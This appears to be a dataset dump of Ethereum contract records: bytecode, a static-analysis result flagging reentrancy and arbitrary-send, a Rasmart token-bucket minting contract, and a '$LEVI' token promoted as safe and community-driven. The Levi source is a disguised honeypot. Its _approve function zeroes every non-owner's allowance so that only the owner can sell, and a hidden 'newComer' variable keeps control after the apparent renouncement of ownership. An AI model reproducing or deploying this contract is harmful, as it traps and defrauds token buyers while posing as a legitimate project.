1254f90612efc565b60405180910390fd5b8091505092915050565b600061256c612154565b90506000612583828461206290919063ffffffff16565b90506125d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612634826006546124ba90919063ffffffff16565b60068190555061264f8160075461250490919063ffffffff16565b6007819055505050565b6000806000806126856064612677888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126af60646126a1888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126d8826126ca858c6124ba90919063ffffffff16565b6124ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612708858961206290919063ffffffff16565b9050600061271f868961206290919063ffffffff16565b90506000612736878961206290919063ffffffff16565b9050600061275f8261275185876124ba90919063ffffffff16565b6124ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278b612786846130d1565b6130ac565b905080838252602082019050828560208602820111156127ae576127ad61343c565b5b60005b858110156127de57816127c488826127e8565b8452602084019350602083019250506001810190506127b1565b5050509392505050565b6000813590506127f781613752565b92915050565b60008151905061280c81613752565b92915050565b600082601f83011261282757612826613437565b5b8135612837848260208601612778565b91505092915050565b60008135905061284f81613769565b92915050565b60008151905061286481613769565b92915050565b60008135905061287981613780565b92915050565b60008151905061288e81613780565b92915050565b6000602082840312156128aa576128a9613446565b5b60006128b8848285016127e8565b91505092915050565b6000602082840312156128d7576128d6613446565b5b60006128e5848285016127fd565b91505092915050565b6000806040838503121561290557612904613446565b5b6000612913858286016127e8565b9250506020612924858286016127e8565b9150509250929050565b60008060006060848603121561294757612946613446565b5b6000612955868287016127e8565b9350506020612966868287016127e8565b92505060406129778682870161286a565b9150509250925092565b6000806040838503121561299857612997613446565b5b60006129a6858286016127e8565b92505060206129b78582860161286a565b9150509250929050565b6000602082840312156129d7576129d6613446565b5b600082013567ffffffffffffffff8111156129f5576129f4613441565b5b612a0184828501612812565b91505092915050565b600060208284031215612a2057612a1f613446565b5b6000612a2e84828501612840565b91505092915050565b600060208284031215612a4d57612a4c613446565b5b6000612a5b84828501612855565b91505092915050565b600060208284031215612a7a57612a79613446565b5b6000612a888482850161286a565b91505092915050565b600080600060608486031215612aaa57612aa9613446565b5b6000612ab88682870161287f565b9350506020612ac98682870161287f565b9250506040612ada8682870161287f565b9150509250925092565b6000612af08383612afc565b60208301905092915050565b612b0581613267565b82525050565b612b1481613267565b82525050565b6000612b258261310d565b612b2f8185613130565b9350612b3a836130fd565b8060005b83811015612b6b578151612b528882612ae4565b9750612b5d83613123565b925050600181019050612b3e565b5085935050505092915050565b612b8181613279565b82525050565b612b90816132bc565b82525050565b6000612ba182613118565b612bab8185613141565b9350612bbb8185602086016132ce565b612bc48161344b565b840191505092915050565b6000612bdc602383613141565b9150612be78261345c565b604082019050919050565b6000612bff602a83613141565b9150612c0a826134ab565b604082019050919050565b6000612c22602283613141565b9150612c2d826134fa565b604082019050919050565b6000612c45601b83613141565b9150612c5082613549565b602082019050919050565b6000612c68601d83613141565b9150612c7382613572565b602082019050919050565b6000612c8b602183613141565b9150612c968261359b565b604082019050919050565b6000612cae602083613141565b9150612cb9826135ea565b602082019050919050565b6000612cd1602983613141565b9150612cdc82613613565b604082019050919050565b6000612cf4602583613141565b9150612cff82613662565b604082019050919050565b6000612d17602483613141565b9150612d22826136b1565b604082019050919050565b6000612d3a601783613141565b9150612d4582613700565b602082019050919050565b6000612d5d601183613141565b9150612d6882613729565b602082019050919050565b612d7c816132a5565b82525050565b612d8b816132af565b82525050565b6000602082019050612da66000830184612b0b565b92915050565b6000604082019050612dc16000830185612b0b565b612dce6020830184612b0b565b9392505050565b6000604082019050612dea6000830185612b0b565b612df76020830184612d73565b9392505050565b600060c082019050612e136000830189612b0b565b612e206020830188612d73565b612e2d6040830187612b87565b612e3a6060830186612b87565b612e476080830185612b0b565b612e5460a0830184612d73565b979650505050505050565b6000602082019050612e746000830184612b78565b92915050565b60006020820190508181036000830152612e948184612b96565b905092915050565b60006020820190508181036000830152612eb581612bcf565b9050919050565b60006020820190508181036000830152612ed581612bf2565b9050919050565b60006020820190508181036000830152612ef581612c15565b9050919050565b60006020820190508181036000830152612f1581612c38565b9050919050565b60006020820190508181036000830152612f3581612c5b565b9050919050565b60006020820190508181036000830152612f5581612c7e565b9050919050565b60006020820190508181036000830152612f7581612ca1565b9050919050565b60006020820190508181036000830152612f9581612cc4565b9050919050565b60006020820190508181036000830152612fb581612ce7565b9050919050565b60006020820190508181036000830152612fd581612d0a565b9050919050565b60006020820190508181036000830152612ff581612d2d565b9050919050565b6000602082019050818103600083015261301581612d50565b9050919050565b60006020820190506130316000830184612d73565b92915050565b600060a08201905061304c6000830188612d73565b6130596020830187612b87565b818103604083015261306b8186612b1a565b905061307a6060830185612b0b565b6130876080830184612d73565b9695505050505050565b60006020820190506130a66000830184612d82565b92915050565b60006130b66130c7565b90506130c28282613301565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ec576130eb613408565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315d826132a5565b9150613168836132a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319d5761319c61337b565b5b828201905092915050565b60006131b3826132a5565b91506131be836132a5565b9250826131ce576131cd6133aa565b5b828204905092915050565b60006131e4826132a5565b91506131ef836132a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132285761322761337b565b5b828202905092915050565b600061323e826132a5565b9150613249836132a5565b92508282101561325c5761325b61337b565b5b828203905092915050565b600061327282613285565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c7826132a5565b9050919050565b60005b838110156132ec5780820151818401526020810190506132d1565b838111156132fb576000848401525b50505050565b61330a8261344b565b810181811067ffffffffffffffff8211171561332957613328613408565b5b80604052505050565b600061333d826132a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133705761336f61337b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375b81613267565b811461376657600080fd5b50565b61377281613279565b811461377d57600080fd5b50565b613789816132a5565b811461379457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ea3395b5f1c91098caf090762a8fa7e87e02af772df013f6c136cc33a01718064736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,171 |
0xa8550944706f8c6dc51a71f6b8ee29826468c0a9
|
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/// @title Role based access control mixin for Rasmart Platform
/// @author Abha Mai <maiabha82@gmail.com>
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Haven't enough right to access";
/// @notice Public map of owners
mapping (address => bool) public owners;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates the addition of a new owner
/// @param who is address of added owner
event AddOwner(address indexed who);
/// @notice The event indicates the deletion of an owner
/// @param who is address of deleted owner
event DeleteOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
/// @notice The functional modifier rejects the interaction of senders who are not owners
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
/// @notice Deletes the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
interface IMintableToken {
function mint(address _to, uint256 _amount) external returns (bool);
}
/// @title Very simplified implementation of Token Bucket Algorithm to secure token minting
/// @author Abha Mai <maiabha82@gmail.com>
/// @notice Works with tokens implemented Mintable interface
/// @dev Transfer ownership/minting role to contract and execute mint over PlatformBucket proxy to secure
contract PlatformBucket is RBACMixin, IMintableToken {
using SafeMath for uint;
/// @notice Limit maximum amount of available for minting tokens when bucket is full
/// @dev Should be enough to mint tokens with proper speed but less enough to prevent overminting in case of losing pkey
uint256 public size;
/// @notice Bucket refill rate
/// @dev Tokens per second (based on block.timestamp). Amount without decimals (in smallest part of token)
uint256 public rate;
/// @notice Stored time of latest minting
/// @dev Each successful call of minting function will update field with call timestamp
uint256 public lastMintTime;
/// @notice Left tokens in bucket on time of latest minting
uint256 public leftOnLastMint;
/// @notice Reference of Mintable token
/// @dev Setup in contructor phase and never change in future
IMintableToken public token;
/// @notice Token Bucket leak event fires on each minting
/// @param to is address of target tokens holder
/// @param left is amount of tokens available in bucket after leak
event Leak(address indexed to, uint256 left);
/// @param _token is address of Mintable token
/// @param _size initial size of token bucket
/// @param _rate initial refill rate (tokens/sec)
constructor (address _token, uint256 _size, uint256 _rate) public {
token = IMintableToken(_token);
size = _size;
rate = _rate;
leftOnLastMint = _size;
}
/// @notice Change size of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @return A boolean that indicates if the operation was successful.
function setSize(uint256 _size) public onlyOwner returns (bool) {
size = _size;
return true;
}
/// @notice Change refill rate of bucket
/// @dev Require owner role to call
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setRate(uint256 _rate) public onlyOwner returns (bool) {
rate = _rate;
return true;
}
/// @notice Change size and refill rate of bucket
/// @dev Require owner role to call
/// @param _size is new size of bucket
/// @param _rate is new refill rate of bucket
/// @return A boolean that indicates if the operation was successful.
function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) {
return setSize(_size) && setRate(_rate);
}
/// @notice Function to mint tokens
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to, uint256 _amount) public onlyMinter returns (bool) {
uint256 available = availableTokens();
require(_amount <= available);
leftOnLastMint = available.sub(_amount);
lastMintTime = now; // solium-disable-line security/no-block-members
require(token.mint(_to, _amount));
return true;
}
/// @notice Function to calculate and get available in bucket tokens
/// @return An amount of available tokens in bucket
function availableTokens() public view returns (uint) {
// solium-disable-next-line security/no-block-members
uint256 timeAfterMint = now.sub(lastMintTime);
uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint);
return size < refillAmount ? size : refillAmount;
}
}
|
0x6080604052600436106100fb5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663022914a78114610100578063170ab405146101355780632aff49d71461014d5780632c4e722e146101685780632f54bf6e1461018f57806334fcf437146101b057806336b40bb6146101c857806340c10f19146101dd57806369bb4dc2146102015780637065cb4814610216578063949d225d14610237578063983b2d561461024c5780639d4635201461026d578063aa271e1a14610282578063cd5c4c70146102a3578063d82f94a3146102c4578063f46eccc4146102e5578063fc0c546a14610306575b600080fd5b34801561010c57600080fd5b50610121600160a060020a0360043516610337565b604080519115158252519081900360200190f35b34801561014157600080fd5b5061012160043561034c565b34801561015957600080fd5b50610121600435602435610411565b34801561017457600080fd5b5061017d6104b3565b60408051918252519081900360200190f35b34801561019b57600080fd5b50610121600160a060020a03600435166104b9565b3480156101bc57600080fd5b506101216004356104d7565b3480156101d457600080fd5b5061017d610560565b3480156101e957600080fd5b50610121600160a060020a0360043516602435610566565b34801561020d57600080fd5b5061017d6106ca565b34801561022257600080fd5b50610121600160a060020a0360043516610729565b34801561024357600080fd5b5061017d6107ba565b34801561025857600080fd5b50610121600160a060020a03600435166107c0565b34801561027957600080fd5b5061017d61084b565b34801561028e57600080fd5b50610121600160a060020a0360043516610851565b3480156102af57600080fd5b50610121600160a060020a036004351661086f565b3480156102d057600080fd5b50610121600160a060020a03600435166108fa565b3480156102f157600080fd5b50610121600160a060020a0360043516610985565b34801561031257600080fd5b5061031b61099a565b60408051600160a060020a039092168252519081900360200190f35b60006020819052908152604090205460ff1681565b6000610357336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104075760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156103cc5781810151838201526020016103b4565b50505050905090810190601f1680156103f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050600255600190565b600061041c336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104905760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5061049a8361034c565b80156104aa57506104aa826104d7565b90505b92915050565b60035481565b600160a060020a031660009081526020819052604090205460ff1690565b60006104e2336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105565760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5050600355600190565b60055481565b60008061057233610851565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105e65760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506105ef6106ca565b9050808311156105fe57600080fd5b61060e818463ffffffff6109a916565b600555426004908155600654604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a038881169482019490945260248101879052905192909116916340c10f19916044808201926020929091908290030181600087803b15801561068957600080fd5b505af115801561069d573d6000803e3d6000fd5b505050506040513d60208110156106b357600080fd5b505115156106c057600080fd5b5060019392505050565b60008060006106e4600454426109a990919063ffffffff16565b915061070d600554610701846003546109bb90919063ffffffff16565b9063ffffffff6109e416565b9050806002541061071e5780610722565b6002545b9250505090565b6000610734336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156107a85760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260016109f1565b50919050565b60025481565b60006107cb336104b9565b60408051808201909152601e8152600080516020610b91833981519152602082015290151561083f5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826001610ac1565b60045481565b600160a060020a031660009081526001602052604090205460ff1690565b600061087a336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156108ee5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260006109f1565b6000610905336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156109795760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826000610ac1565b60016020526000908152604090205460ff1681565b600654600160a060020a031681565b6000828211156109b557fe5b50900390565b60008215156109cc575060006104ad565b508181028183828115156109dc57fe5b04146104ad57fe5b818101828110156104ad57fe5b600160a060020a03821660009081526020819052604081205460ff1615158215151415610a1d57600080fd5b600160a060020a0383166000908152602081905260409020805460ff19168315801591909117909155610a8357604051600160a060020a038416907fac1e9ef41b54c676ccf449d83ae6f2624bcdce8f5b93a6b48ce95874c332693d90600090a2610ab8565b604051600160a060020a038416907fbaefbfc44c4c937d4905d8a50bef95643f586e33d78f3d1998a10b992b68bdcc90600090a25b50600192915050565b600160a060020a03821660009081526001602052604081205460ff1615158215151415610aed57600080fd5b600160a060020a0383166000908152600160205260409020805460ff19168315801591909117909155610b5357604051600160a060020a038416907f16baa937b08d58713325f93ac58b8a9369a4359bbefb4957d6d9b402735722ab90600090a2610ab8565b604051600160a060020a038416907f4a59e6ea1f075b8fb09f3b05c8b3e9c68b31683a887a4d692078957c58a12be390600090a2506001929150505600486176656e277420656e6f75676820726967687420746f206163636573730000a165627a7a72305820e8222a9f0fd59b8113ff1346a3cba13133854607afc7942535e47e52ed741f170029
|
{"success": true, "error": null, "results": {}}
| 5,172 |
0x02ae873bfbfc676a9803dee66a33c1e7ae84521a
|
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
/*
$LEVI is a community-driven project with the main goal off given back rewards to holders in multiple ways. At first $LEVI will be implementing a staking Dapp that will reward native tokens to their investors.
✅ STAKING 2 DAYS AFTER LAUNCH (DONE BY: SUBX.FINANCE)💎
✅ SAFU DEV 📃
✅ STEALTH LAUNCH 🚀
✅ BIG MARKETING CAMPAIGN 💰
✅ LIQUIDITY LOCK 3 MONTHS (WILL BE EXTENDED) 🔐
✅ ANTI-BOT 🤖 ❌
✅ ANTI-SNIPE 🎯
📞 Telegram ➡️ https://t.me/LeviTokenErc20
🕊 Twitter ➡️ https://twitter.com/LeviTokenErc20
🌐 Website ➡️ https://levitoken.io/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Levi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Levi ' ;
string private _symbol = 'LEVI ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73fffffffffffffffffffffffffffffffffffff